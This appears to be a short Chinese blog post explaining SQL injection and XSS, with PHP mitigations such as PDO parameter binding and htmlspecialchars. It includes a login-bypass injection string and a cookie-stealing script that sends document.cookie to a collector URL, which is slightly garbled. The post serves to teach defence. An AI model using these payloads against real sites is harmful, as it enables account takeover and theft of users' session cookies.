关于web安全方面的几个防范措施

1,关于sql注入

用户提交登录信息的时候可以用 password ' or 1 #   这样原来sql拼接语句就成了  select * from table where username=xxx and password ='password' or 1#' 这样就登陆用户得到了登录信息了。完成了一次sql注入

解决方式

第一:用addslashes  把提交的字符 转义一下特殊字符

第二:用pdo参数绑定的形式

$dbh = new PDO("mysql:dbname=la;host=127.0.0.1","root","");
$sth = $dbh->prepare("select * from users where username=:username");
$sth->execute(array('username'=>$username));
$result = $sth->fetchAll();

第三: 验证数据的正确性了,比如限制字符数量,规定数据类型


2,xss攻击 

这种攻击场景一般就是在评论的时候会提交一些script代码  ,如果没有过滤 。那么危险性比较大,比如写一段

<script>
var url = "http://localhost//toucookie.php?cookie=" + document.cookie;
var img = document.createElement("img");
img.src = url;
document.appendChild(url);
script>
这一段  当其他的用户点击这个图片的时候,就会自动发送他在这个网站的cookie信息给攻击者,攻击者有了cookie信息,就可以很多事情了,比如获取用户的信息,有可能能直接登录到用户的后台。

解决方式

1,在做评论这种提交数据的时候  用htmlspecialchars  把html的一些东西转换为实体。

2,可以用strip_tags去除掉html标签

3,过滤掉一些scipt标签等 ,需要看具体的业务需求

你可能感兴趣的:(mysql基础知识)